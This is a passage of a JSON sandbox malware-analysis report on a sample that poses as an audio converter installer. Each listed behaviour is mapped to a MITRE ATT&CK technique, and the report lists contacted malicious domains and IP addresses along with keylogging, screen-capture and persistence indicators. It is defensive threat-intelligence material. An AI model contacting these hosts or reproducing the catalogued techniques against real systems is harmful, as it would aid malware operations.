API for text rendering","description":"Found reference to API \"GrayStringA\" (Indicator: \"GrayStringA\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GrayStringW\" (Indicator: \"GrayStringW\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-900","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"DioConverterRipper.exe\" called \"CopyFileA\" to copy %LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\DioConverterRipper.exe to new location %ALLUSERSPROFILE%\\Pop3SessionLog_64\\Pop3SessionLog_64.exe (UID: 00000000-00004320)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"fqoezsu.ru\"\n \"mhbqdbp.com\"\n \"scrcsin.net\"\n \"wolefim.com\"\n \"fqwjuiu.ru\"\n \"modbdvq.com\"\n \"ubvzoix.ua\"\n \"xepygkw.net\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"152.89.198.214:53\"\n \"91.211.247.248:53\"\n \"185.196.9.67:80\"\n \"173.208.215.98:80\"\n \"178.16.55.185:2023\"\n \"209.99.187.121:80\"\n \"109.230.199.109:80\"\n \"45.155.250.90:53\"\n \"141.98.234.31:53\"\n \"45.11.182.186:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00002748.00000000.76652.002E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to create named pipes for inter-process communication (IPC)","description":"CreateNamedPipeA@KERNEL32.DLL at 00000000-00002004-6992-785-0045892C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1559","relevance":10,"id":"stream-45","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"$60","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.DLL at 00000000-00002004-6992-385-0042E3A4\n LoadLibraryA@KERNEL32.DLL at 00000000-00002004-6992-1063-0044FD5F\n LoadLibraryA@KERNEL32.DLL at 00000000-00002004-6992-1074-0044C74C\n LoadLibraryExA@KERNEL32.DLL at 00000000-00002004-6992-1194-0044853C\n LoadLibraryA@KERNEL32.DLL at 00000000-00002004-6992-3418-00464960\n LoadLibraryA@KERNEL32.DLL at 00000000-00002004-6992-3419-0044B668\n LoadLibraryA@KERNEL32.DLL at 00000000-00002004-6992-3433-0041F128","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"hapubws@gateway.foresee.com\"\n Pattern match: \"hapubws@jalan.net\"\n Pattern match: \"hapubws@nextag.com\"\n Pattern match: \"hapubws@www.rakuten.co.jp\"\n Pattern match: \"hapubws@vatrack.hinet.net\"\n Pattern match: \"hapubws@yumenetworks.com\"\n Pattern match: \"hapubws@autoitscript.com\"\n Pattern match: \"hapubws@www.whitepages.com\"\n Pattern match: \"hapubws@whisky.ana.stg8.com\"\n Pattern match: \"hapubws@globalwebindex.net\"\n Pattern match: \"hapubws@metacafe.com\"\n Pattern match: \"hapubws@sunset.systems\"\n Pattern match: \"hapubws@reference.com\"\n Pattern match: \"hapubws@www.lazada.vn\"\n Pattern match: \"hapubws@pcauto.com.cn\"\n Pattern match: \"hapubws@i.liadm.com\"\n Pattern match: \"hapubws@compado.es\"\n Pattern match: \"hapubws@www.gmx.net\"\n Pattern match: \"hapubws@alot.com\"\n Pattern match: \"hapubws@ixiaa.com\"\n Pattern match: \"hapubws@qtmojo.com\"\n Pattern match: \"hapubws@beemp3s.org\"\n Pattern match: \"hapubws@adtech.de\"\n Pattern match: \"hapubws@tapad.com\"\n Pattern match: \"hapubws@nexage.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$61","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"1800190068e8446b@api-ms-win-core-synch-l1-2-0.dll\"\n \"1800190088e8446b@api-ms-win-core-synch-l1-2-0.dll\"\n \"0d000e00cc5f446b@ntdll.dll\"\n \"1500160020734c6e@advapi32.dll\"\n \"0e000f00e4734c6e@advapi32.dll\"\n \"0e000f0050744c6e@advapi32.dll\"\n \"11001200d47d4c6e@advapi32.dll\"\n \"110012007c7e4c6e@advapi32.dll\"\n \"12001300cc7e4c6e@advapi32.dll\"\n \"12001300387f4c6e@advapi32.dll\"\n \"14001500e4b74c6e@advapi32.dll\"\n \"1400150000b84c6e@advapi32.dll\"\n \"140015001cb84c6e@advapi32.dll\"\n \"1700180038b84c6e@advapi32.dll\"\n \"0d000e0054b84c6e@advapi32.dll\"\n \"1100120064b84c6e@advapi32.dll\"\n \"110012007cb84c6e@advapi32.dll\"\n \"0d000e009c7f4c6e@shell32.dll\"\n \"0d000e0028804c6e@shell32.dll\"\n \"0f001000ecb94c6e@advapi32.dll\"\n \"1400150038ba4c6e@advapi32.dll\"\n \"1400150054ba4c6e@advapi32.dll\"\n \"0c000d00a8ba4c6e@advapi32.dll\"\n \"0c000d00b8ba4c6e@advapi32.dll\"\n \"0e000f00c8ba4c6e@advapi32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"budjduf.com\"\n \"ccjbcuu.net\"\n \"dikubzw.info\"\n \"fqoezsu.ru\"\n \"fqwjuiu.ru\"\n \"hchwljv.net\"\n \"mhbqdbp.com\"\n \"modbdvq.com\"\n \"mugvwji.com\"\n \"scrcsin.net\"\n \"ubvzoix.ua\"\n \"wolefim.com\"\n \"xepygkw.net\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\uxtheme.dll\" [Source: 00000000-00003932-00000C2B-184057459]\n Observed system executable string:\"%WINDIR%\\system32\\ole32.dll\" [Source: 00000000-00002004-00000C2B-185536059]\n Observed system executable string:\"%WINDIR%\\system32\\MSCTF.dll\" [Source: 00000000-00002004-00000C2B-185733360]\n Observed system executable string:\"%WINDIR%\\system32\\bcryptprimitives.dll\" [Source: 00000000-00002004-00000C2B-187641157]\n Observed system executable string:\"%WINDIR%\\system32\\imageres.dll\" [Source: 00000000-00002004-00000C2B-188704819]\n Observed system executable string:\"%WINDIR%\\system32\\shell32.dll\" [Source: 00000000-00002004-00000C2B-188790927]\n Observed system executable string:\"%WINDIR%\\system32\\shlwapi.dll\" [Source: 00000000-00002004-00000C2B-188890653]\n Observed system executable string:\"%WINDIR%\\system32\\sfc.dll\" [Source: 00000000-00002004-00000C2B-190631392]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts to launch the Installer package binary","description":"Process \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp\" with commandline \"/SL5=\"$20222\n6165424\n54272\nC:\\\\4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.exe\"\" (UID: 00000000-00002004)","origin":"Monitored Target","mitre_attack_id":"T1546.016","relevance":3,"id":"target-670","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.exe\" connecting to \"\\ThemeApiPort\"\n \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp\" connecting to \"\\ThemeApiPort\"\n \"schtasks.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"GetUserNameA@ADVAPI32.DLL at 00000000-00002004-6992-733-00455588","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)","description":"Found reference to API \"QueueUserAPC\" (Indicator: \"QueueUserAPC\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.004","relevance":1,"id":"string-255","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"_iscrypt.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 3 sections\"- Location: [%TEMP%\\is-SAGCP.tmp\\_isetup\\_iscrypt.dll]- [targetUID: 00000000-00002004]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"DioConverterRipper.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat\"\n \"DioConverterRipper.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\"\n \"DioConverterRipper.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\"\n \"DioConverterRipper.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"DioConverterRipper.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat\"\n \"DioConverterRipper.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\"\n \"DioConverterRipper.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \"DioConverterRipper.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"$62","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"Ping failed; helper seems to have died.\" (Indicator: \"ping \"; File: \"00000000-00002004.00000000.75598.00401000.00000020.mdmp\")\n Found string \"Ping failed; helper seems to have died.\" (Indicator: \"ping \"; Source: \"00000000-00002004.00000000.75598.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"DioConverterRipper.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002748)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"DioConverterRipper.exe\" called \"InternetReadFile\" with parameter 4096 (UID: 00000000-00002748)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"DioConverterRipper.exe\" called \"InternetOpenA with parameter Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)\" (UID: 00000000-00002748)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b529669233608bfe15c2e992\"\n Found http requests in header \"GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")\n Found reference to API \"82208130,3476,3237,,InternetReadFile,Wininet.dll,\"253:45:50.856\",RX=0,PX=0\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00002748.00000002.80499.00160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"DNS traffic to 152.89.198.214 on port 53\n DNS traffic to 91.211.247.248 on port 53\n HTTP traffic to 185.196.9.67 on port 80\n HTTP traffic to 173.208.215.98 on port 80\n HTTP traffic to 209.99.187.121 on port 80\n HTTP traffic to 109.230.199.109 on port 80\n DNS traffic to 45.155.250.90 on port 53\n DNS traffic to 141.98.234.31 on port 53\n HTTP traffic to 45.11.182.186 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"6b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002748.00000002.80499.00160000.00000004.mdmp\")\n Found string \"rch/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002748.00000002.80499.00160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$65","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$66","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"References hosts file in file/memory","description":"Found string \"C:\\Windows\\system32\\drivers\\etc\\hosts\" (Indicator: \"\\system32\\drivers\\etc\\hosts\"; Source: \"00000000-00002748.00000002.80499.00160000.00000004.mdmp\")\n Found string \"\\Windows\\system32\\drivers\\etc\\hosts\" (Indicator: \"\\system32\\drivers\\etc\\hosts\"; Source: \"00000000-00002748.00000002.80499.00160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-479","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PE executable embedded in .rsrc section","description":"YARA signature for embedded PE executable in .rsrc section matched on file \"is-1QEQI.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":5,"id":"yara-26","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"is-1QEQI.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Ransomware/Banking","name":"Attempts to rename multiple files with a new extension, avoiding critical system files","description":"\"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp\" appended encryption extension \".manifest\" to 10+ files (.tmp) — SELECTIVE EXCLUSION: no system file types or protected directories touched","origin":"API Call","mitre_attack_id":"T1679","relevance":1,"id":"api-325","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection","description":"Wow64RevertWow64FsRedirection@KERNEL32.DLL at 00000000-00002004-6992-88-0045274C\n Wow64DisableWow64FsRedirection@KERNEL32.DLL at 00000000-00002004-6992-89-00452710","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070","relevance":1,"id":"stream-78","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$67","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002380.00000000.76512.00190000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002748.00000002.80499.00160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$68","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKeyA\" (Indicator: \"MapVirtualKey\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetKeyNameTextA\" (Indicator: \"GetKeyNameText\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp\")\n Found reference to API \"MapVirtualKeyExW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$6a","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00002748.00000000.76652.002E0000.00000004.mdmp, 00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp\")\n Found reference to API \"NdrDllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp\")\n Found reference to API \"p_DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00002380.00000001.77113.00DF1000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"Ping failed; helper seems to have died.\" (Indicator: \"ping\"; File: \"00000000-00002004.00000000.75598.00401000.00000020.mdmp\")\n Found string \"Ping failed; helper seems to have died.\" (Indicator: \"ping\"; Source: \"00000000-00002004.00000000.75598.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Contains reference to Hijacked CLSID(s)","description":"Observed string: \"CLSID\\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\" (Indicator: \"{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\") in Source: 